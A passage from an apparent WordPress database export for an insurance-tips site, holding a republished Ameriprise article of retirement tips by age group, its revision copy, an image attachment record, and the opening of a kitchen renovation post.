wp:image {\"id\":3904,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-12-1024x1024.png\" alt=\"\" class=\"wp-image-3904\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Retirement planning isn\'t only for the retired. These seven essential retirement tips by age can help you prepare right now, no matter what age or stage of retirement you\'re in — so you can feel more confident about living the retirement you want.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Under age 50</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">1. Imagine this: You, not working</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You can\'t plan for your retirement unless you know where you\'re going. So start thinking about your retirement lifestyle and what you want to do after you\'re done working. Unless you <em>won\'t</em> be done working: Maybe you want to start a business? Or do you want to travel, volunteer or become a professional grandparent? Maybe you\'ll build a cabin on a lake?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You can never start envisioning your retirement too soon or obtain advice for retirement too early. Even if you think your goals might shift in the years ahead, dreaming about them today gets the conversation started and helps you plan.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">2. Start preparing for retirement early, save a lot</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Once you know what you want to be doing, it\'s time to figure out how much you need to do it. Run some numbers using the Retirement Planner on ameriprise.com. Let\'s say you\'re 35 years old, earn $100,000 a year and have $200,000 in your 401(k). You might determine you need $2 million saved up by the time you\'re 65. To get there, you\'d need to invest $550 per month and earn a 7% annual rate of return.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">3. Save money at every opportunity</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>With rising retirement costs and people living longer, there\'s a chance you\'ll need a lot more money than you think in retirement. So save as much as you can during your earning years. Workplace-sponsored 401(k) plans let employees under age 50 save up to $22,500 each year, with an additional catch-up contribution of $7,500 per year for those age 50 and above. Plus, your employer may throw in a match.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Aim to save at least 15% of your gross pay. Not there yet? Increase your retirement savings contribution with every pay raise before you get too used to that higher paycheck.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">4. Go beyond the workplace with IRAs</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There are other tax-savvy ways to save for retirement, too. Consider opening a Roth IRA, which allows for after-tax savings and tax-free withdrawals when certain conditions are met. This can help you hedge against the possibility of future tax increases so you don\'t need to fret as much about taxes during retirement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Another option to consider: A traditional IRA, which can help you further broaden your retirement savings plan and give you more control over your investment selections. IRAs can give you access to investment options you don’t have at work, such as municipal bonds, real estate investments, commodities and emerging market funds.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">5. Save strategically and allocate assets wisely</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Don\'t let market swings throw your portfolio out of whack. Determining how to best allocate your investments between various kinds of assets — including stocks, bonds and cash — can be a powerful way to keep your retirement investments growing. Spreading your investments across various sectors and asset types can help soften the effects of big market fluctuations so you can worry less.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dollar-cost averaging — putting fixed amounts into investments on a regular basis, regardless of market conditions — can also help. And rebalancing your portfolio can make it possible to lower your exposure to investments that have recently outperformed the market while increasing exposure to those that may be ready to grow. These strategies can be tricky, so make sure you ask your financial advisor for help.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">6. Steer clear of emotional investing</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As investors, our emotions tend to follow market cycles. When markets perform well, we tend to become euphoric and pour money into stocks. When markets turn down, our emotions change and can cause us to pull out of the stock market just as it reaches its low and miss out on potential gains as it rises again. The lesson: emotions can cause us to do just the opposite of what we <em>should</em> do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">7. Consider insurance to help reduce your worries</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Even if you build a smart saving and investing strategy, unexpected events can occur. You could experience an illness that prevents you from working and earning an income. Or your home could be damaged in a storm. You need to protect yourself against the risks in today\'s world. Your financial advisor can help evaluate your personal situation and line up the right levels of protection, whether it\'s disability income insurance, long-term care coverage or auto, home and life policies. With sufficient protection, you can focus on the fun parts of planning for the future without having to worry as much about all the \"what ifs\" along the way.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><a></a>Age 50 - 64</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">1. Add details to your dreams and goals</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Start planning for the dreams you\'ve had for years. You may have decided you\'ll spend your retirement years traveling, volunteering or becoming a professional grandparent. Get in touch with your financial advisor and get specific on what that will look like. Now that you\'re a little bit closer to retirement, you can start thinking tactically to ensure your dreams and goals become your retirement reality.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">2. Catch up if you need to</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Saving as much as you can should be a top priority as you near retirement. Make sure you\'re maxing out contributions to your retirement accounts as much as you can, including making any available \"catch-up\" contributions to your 401(k) and IRA. If you’re between 50 and 64 years old, you may be able to tuck away extra 401(k) catch-up money to help you meet your retirement goals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: Effective in 2024, catch-up contributions for certain participants age 50 or older must be made on a Roth basis under 401(k), 403(b), and governmental 457(b) plans. However, this requirement applies only if the employee’s prior-year wages from the employer sponsoring the plan exceed $145,000 in the previous taxable year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">3. Consider consolidating retirement accounts</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>By now, you might have three, five, or even 10 retirement accounts floating around. But it can be hard to invest right and manage so many accounts. It might make sense to consolidate before retirement so you can more easily and effectively tap your money when you need it. Work with your financial advisor to determine the appropriate plan of action for your various accounts, and start preparing a game plan for how you\'ll tap them in retirement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">4. Mind your health</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Think health care costs are high today? Wait until retirement. In 2020, with both having median prescription drug expenses, a 65-year-old man was determined to need $130,000 in savings and a 65-year-old woman needed $146,000 in order to have a 90 percent chance of having enough money to cover health care expenses in retirement, according to the Employee Benefit Research Institute.<sup>1</sup> And that figure will likely keep rising. Additionally, Medicare only covers a portion of the costs, and it may cover even less in the future. Work with your financial advisor to figure out how you\'ll cover health-related costs in retirement, and consider funding a health savings account. Some employers offer them as part of their health plans, but you can also set one up yourself if you buy individual health insurance. Contributions to a health savings account (HSA) by you or your employer aren\'t typically considered taxable income and withdrawals aren\'t taxed as long as they pay for eligible medical costs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">5. Start planning for retirement income</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Talk to your financial advisor about the income you\'ll need during 30-plus years of retirement, and ask whether you should start planning for it now. Some strategies to consider include getting an annuity that provides a steady income stream throughout your lifetime or adjusting your investments.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">6. Don\'t ignore long-term care</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>About 70% of Americans who reach age 65 will need long-term care at some point, according to the Department of Health and Human Services.<sup>2</sup> While you\'re in your 50s and early 60s, consider purchasing coverage that could pay for the cost of a lengthy stay in a nursing facility or in-home care. It\'s typically better to lock in premiums while you\'re younger.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">7. Re-evaluate how you invest</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>How you invested when you were 40 may not be how you should invest at 50 or 60. Priorities change, and you need to start focusing on preserving your wealth as much as growing it. Talk to your Ameriprise financial advisor about how you can build a complete strategy to help you feel more confident about living the life you want in retirement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><a></a>Age 65+</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">1. Review your retirement goals</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Continue to meet with your Ameriprise financial advisor to review your retirement goals and assess your position. Your advisor can help you make adjustments, if needed, to align with your retirement needs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">2. Establish a spending plan</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A general rule for withdrawing money from retirement savings is to only take out up to 4% each year. Of course, unexpected expenses can throw a wrench into the best-laid plans. Your Ameriprise financial advisor can help you establish a spending plan and withdrawal rate tailored to your needs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">3. Be tax savvy</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>How you withdraw from your various taxable and tax-deferred accounts in retirement — and which you tap first, second and so on — determines the taxes you owe and helps to make sure your money lives as long as you do. It\'s generally wise to tap taxable savings before tax-advantaged retirement accounts — especially with tax rates potentially on the rise. But everyone is different and there can be tax benefits to tapping several different types of retirement savings accounts at the same time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">4. Make your retirement savings last</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A common mistake retirees make is shifting a big portion of their assets to cash and fixed-income investments. While you should consider investing more conservatively as you age — since you have less time to recover from market downturns — you don\'t want your investment portfolio to become so risk-averse that it\'s gobbled up by inflation. Remember, retirement can last more than 30 years, so it\'s important to ensure your retirement savings last. Work with your financial advisor to help you plan for your nest egg to keep growing and last as long as you need it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">5. Boost your retirement income</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Talk with your financial advisor about ways to bolster your income stream during retirement — such as setting up an annuity or adding more dividend-paying stocks to your portfolio.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">6. Prepare for the long run</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Planning for your later years is crucial. People often only plan for their early retirement years, when they can travel the world or partake in their favorite activities. But those activities may not be realistic when you\'re 80, 90 or 100. Your financial advisor can help you think through how you hope to spend your later retirement years and work through some possible scenarios. Then you can take steps to be more prepared, such as securing long-term care coverage to help pay for any services you may need or setting up an annuity to protect your retirement income.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">7. Keep checking in with your goals and finances</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Don\'t leave your retirement on autopilot. Priorities often change over the course of retirement for many reasons. Reviewing your goals periodically can help you feel more confident that you can continue to live the retirement you want.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.ameriprise.com/financial-goals-priorities/retirement/7-top-retirement-tips\">click here.</a></p>\n<!-- /wp:paragraph -->','7 Top Retirement Tips — Retirement Advice for Every Age','','publish','closed','closed','','7-top-retirement-tips-retirement-advice-for-every-age-2','','','2024-03-30 01:31:21','2024-03-30 01:31:21','',0,'https://smartinsurance.tips/?p=3903',0,'post','',0),(3904,1,'2024-03-30 01:28:49','2024-03-30 01:28:49','','Untitled-12','','inherit','closed','closed','','untitled-12-2','','','2024-03-30 01:28:49','2024-03-30 01:28:49','',3903,'http://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-12.png',0,'attachment','image/png',0),(3905,1,'2024-03-30 01:31:19','2024-03-30 01:31:19','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3904,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-12-1024x1024.png\" alt=\"\" class=\"wp-image-3904\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Retirement planning isn\'t only for the retired. These seven essential retirement tips by age can help you prepare right now, no matter what age or stage of retirement you\'re in — so you can feel more confident about living the retirement you want.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Under age 50</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">1. Imagine this: You, not working</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You can\'t plan for your retirement unless you know where you\'re going. So start thinking about your retirement lifestyle and what you want to do after you\'re done working. Unless you <em>won\'t</em> be done working: Maybe you want to start a business? Or do you want to travel, volunteer or become a professional grandparent? Maybe you\'ll build a cabin on a lake?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You can never start envisioning your retirement too soon or obtain advice for retirement too early. Even if you think your goals might shift in the years ahead, dreaming about them today gets the conversation started and helps you plan.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">2. Start preparing for retirement early, save a lot</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Once you know what you want to be doing, it\'s time to figure out how much you need to do it. Run some numbers using the Retirement Planner on ameriprise.com. Let\'s say you\'re 35 years old, earn $100,000 a year and have $200,000 in your 401(k). You might determine you need $2 million saved up by the time you\'re 65. To get there, you\'d need to invest $550 per month and earn a 7% annual rate of return.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">3. Save money at every opportunity</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>With rising retirement costs and people living longer, there\'s a chance you\'ll need a lot more money than you think in retirement. So save as much as you can during your earning years. Workplace-sponsored 401(k) plans let employees under age 50 save up to $22,500 each year, with an additional catch-up contribution of $7,500 per year for those age 50 and above. Plus, your employer may throw in a match.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Aim to save at least 15% of your gross pay. Not there yet? Increase your retirement savings contribution with every pay raise before you get too used to that higher paycheck.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">4. Go beyond the workplace with IRAs</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There are other tax-savvy ways to save for retirement, too. Consider opening a Roth IRA, which allows for after-tax savings and tax-free withdrawals when certain conditions are met. This can help you hedge against the possibility of future tax increases so you don\'t need to fret as much about taxes during retirement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Another option to consider: A traditional IRA, which can help you further broaden your retirement savings plan and give you more control over your investment selections. IRAs can give you access to investment options you don’t have at work, such as municipal bonds, real estate investments, commodities and emerging market funds.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">5. Save strategically and allocate assets wisely</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Don\'t let market swings throw your portfolio out of whack. Determining how to best allocate your investments between various kinds of assets — including stocks, bonds and cash — can be a powerful way to keep your retirement investments growing. Spreading your investments across various sectors and asset types can help soften the effects of big market fluctuations so you can worry less.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dollar-cost averaging — putting fixed amounts into investments on a regular basis, regardless of market conditions — can also help. And rebalancing your portfolio can make it possible to lower your exposure to investments that have recently outperformed the market while increasing exposure to those that may be ready to grow. These strategies can be tricky, so make sure you ask your financial advisor for help.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">6. Steer clear of emotional investing</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As investors, our emotions tend to follow market cycles. When markets perform well, we tend to become euphoric and pour money into stocks. When markets turn down, our emotions change and can cause us to pull out of the stock market just as it reaches its low and miss out on potential gains as it rises again. The lesson: emotions can cause us to do just the opposite of what we <em>should</em> do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">7. Consider insurance to help reduce your worries</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Even if you build a smart saving and investing strategy, unexpected events can occur. You could experience an illness that prevents you from working and earning an income. Or your home could be damaged in a storm. You need to protect yourself against the risks in today\'s world. Your financial advisor can help evaluate your personal situation and line up the right levels of protection, whether it\'s disability income insurance, long-term care coverage or auto, home and life policies. With sufficient protection, you can focus on the fun parts of planning for the future without having to worry as much about all the \"what ifs\" along the way.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><a></a>Age 50 - 64</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">1. Add details to your dreams and goals</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Start planning for the dreams you\'ve had for years. You may have decided you\'ll spend your retirement years traveling, volunteering or becoming a professional grandparent. Get in touch with your financial advisor and get specific on what that will look like. Now that you\'re a little bit closer to retirement, you can start thinking tactically to ensure your dreams and goals become your retirement reality.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">2. Catch up if you need to</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Saving as much as you can should be a top priority as you near retirement. Make sure you\'re maxing out contributions to your retirement accounts as much as you can, including making any available \"catch-up\" contributions to your 401(k) and IRA. If you’re between 50 and 64 years old, you may be able to tuck away extra 401(k) catch-up money to help you meet your retirement goals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: Effective in 2024, catch-up contributions for certain participants age 50 or older must be made on a Roth basis under 401(k), 403(b), and governmental 457(b) plans. However, this requirement applies only if the employee’s prior-year wages from the employer sponsoring the plan exceed $145,000 in the previous taxable year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">3. Consider consolidating retirement accounts</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>By now, you might have three, five, or even 10 retirement accounts floating around. But it can be hard to invest right and manage so many accounts. It might make sense to consolidate before retirement so you can more easily and effectively tap your money when you need it. Work with your financial advisor to determine the appropriate plan of action for your various accounts, and start preparing a game plan for how you\'ll tap them in retirement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">4. Mind your health</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Think health care costs are high today? Wait until retirement. In 2020, with both having median prescription drug expenses, a 65-year-old man was determined to need $130,000 in savings and a 65-year-old woman needed $146,000 in order to have a 90 percent chance of having enough money to cover health care expenses in retirement, according to the Employee Benefit Research Institute.<sup>1</sup> And that figure will likely keep rising. Additionally, Medicare only covers a portion of the costs, and it may cover even less in the future. Work with your financial advisor to figure out how you\'ll cover health-related costs in retirement, and consider funding a health savings account. Some employers offer them as part of their health plans, but you can also set one up yourself if you buy individual health insurance. Contributions to a health savings account (HSA) by you or your employer aren\'t typically considered taxable income and withdrawals aren\'t taxed as long as they pay for eligible medical costs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">5. Start planning for retirement income</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Talk to your financial advisor about the income you\'ll need during 30-plus years of retirement, and ask whether you should start planning for it now. Some strategies to consider include getting an annuity that provides a steady income stream throughout your lifetime or adjusting your investments.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">6. Don\'t ignore long-term care</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>About 70% of Americans who reach age 65 will need long-term care at some point, according to the Department of Health and Human Services.<sup>2</sup> While you\'re in your 50s and early 60s, consider purchasing coverage that could pay for the cost of a lengthy stay in a nursing facility or in-home care. It\'s typically better to lock in premiums while you\'re younger.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">7. Re-evaluate how you invest</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>How you invested when you were 40 may not be how you should invest at 50 or 60. Priorities change, and you need to start focusing on preserving your wealth as much as growing it. Talk to your Ameriprise financial advisor about how you can build a complete strategy to help you feel more confident about living the life you want in retirement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><a></a>Age 65+</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">1. Review your retirement goals</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Continue to meet with your Ameriprise financial advisor to review your retirement goals and assess your position. Your advisor can help you make adjustments, if needed, to align with your retirement needs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">2. Establish a spending plan</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A general rule for withdrawing money from retirement savings is to only take out up to 4% each year. Of course, unexpected expenses can throw a wrench into the best-laid plans. Your Ameriprise financial advisor can help you establish a spending plan and withdrawal rate tailored to your needs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">3. Be tax savvy</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>How you withdraw from your various taxable and tax-deferred accounts in retirement — and which you tap first, second and so on — determines the taxes you owe and helps to make sure your money lives as long as you do. It\'s generally wise to tap taxable savings before tax-advantaged retirement accounts — especially with tax rates potentially on the rise. But everyone is different and there can be tax benefits to tapping several different types of retirement savings accounts at the same time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">4. Make your retirement savings last</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A common mistake retirees make is shifting a big portion of their assets to cash and fixed-income investments. While you should consider investing more conservatively as you age — since you have less time to recover from market downturns — you don\'t want your investment portfolio to become so risk-averse that it\'s gobbled up by inflation. Remember, retirement can last more than 30 years, so it\'s important to ensure your retirement savings last. Work with your financial advisor to help you plan for your nest egg to keep growing and last as long as you need it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">5. Boost your retirement income</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Talk with your financial advisor about ways to bolster your income stream during retirement — such as setting up an annuity or adding more dividend-paying stocks to your portfolio.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">6. Prepare for the long run</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Planning for your later years is crucial. People often only plan for their early retirement years, when they can travel the world or partake in their favorite activities. But those activities may not be realistic when you\'re 80, 90 or 100. Your financial advisor can help you think through how you hope to spend your later retirement years and work through some possible scenarios. Then you can take steps to be more prepared, such as securing long-term care coverage to help pay for any services you may need or setting up an annuity to protect your retirement income.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">7. Keep checking in with your goals and finances</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Don\'t leave your retirement on autopilot. Priorities often change over the course of retirement for many reasons. Reviewing your goals periodically can help you feel more confident that you can continue to live the retirement you want.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.ameriprise.com/financial-goals-priorities/retirement/7-top-retirement-tips\">click here.</a></p>\n<!-- /wp:paragraph -->','7 Top Retirement Tips — Retirement Advice for Every Age','','inherit','closed','closed','','3903-revision-v1','','','2024-03-30 01:31:19','2024-03-30 01:31:19','',3903,'https://smartinsurance.tips/?p=3905',0,'revision','',0),(3906,1,'2024-03-30 01:39:48','2024-03-30 01:39:48','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3907,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-13-1024x1024.png\" alt=\"\" class=\"wp-image-3907\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Repair in the house is always a pleasant expectation of the result. But behind this, there is also&nbsp;a long choice of furniture, design, and style for everything to be perfect. The kitchen is one of the most expensive investments in an apartment. Someone saves, someone takes a loan. And before that comes the question: how to create the kitchen of your dreams?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, you need to figure out what you enjoy. Look at the photos and decide on the style direction. Visit several stores with kitchen furniture, choose the manufacturer and the external appearance, or turn to https://hawaiitrustedrealty.com/builder/kitchen-renovation, which offers excellent solutions for interior design. And now, let’s understand what you should focus on to create your dream kitchen.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Cabinetry</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Even recently, popular tendencies in kitchen design are giving way to new trends with rapid speed. The choice of furniture for the kitchen plays a major role because everything must be comfortable. If we talk about a modern kitchen, it must meet the following criteria:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Simplicity</strong>. Designers of modern kitchen interiors don’t use many details and decoration luxuriance. Straight lines and a minimum of decor prevail.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Functionality</strong>. Each cupboard and shelf should be used to the maximum. By choosing such cabinetry, even the most cramped kitchen becomes comfortable and roomy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Easy installation and disassembly</strong>. Modular kitchen furniture is in demand, which allows adding, removing, or rearranging individual elements depending on the clients’ needs.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Reliability and safety</strong>. Loads must be calculated in&nbsp;the kitchen cabinetry. Tables and drawers shouldn’t roll over or fall out when opened. In terms of materials, environmentally friendly is preferred.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Design</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Trends in interior design change every year, but to make repairs and renew rooms as often is hardly possible. So you need to focus on sustainable trends:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Mezzanine Cabinets</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Unlike standard sets, mezzanine designs have an additional third level. In this way, they use the small free space between the upper&nbsp;edge of the cabinets&nbsp;and the ceiling. Thus you have more storage space and can save on finishes. Cleaning is also greatly simplified.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Common Space</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The main idea here is unity. Don’t clutter the walls and partitions, not block the light, and not divide the room into small sections. It is especially&nbsp;important for small apartments, where you want to create the illusion of a spacious room.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The main problem is the sound and smells. But it can be solved with a powerful exhaust system and good ventilation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Multiple Colors or Textures</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph 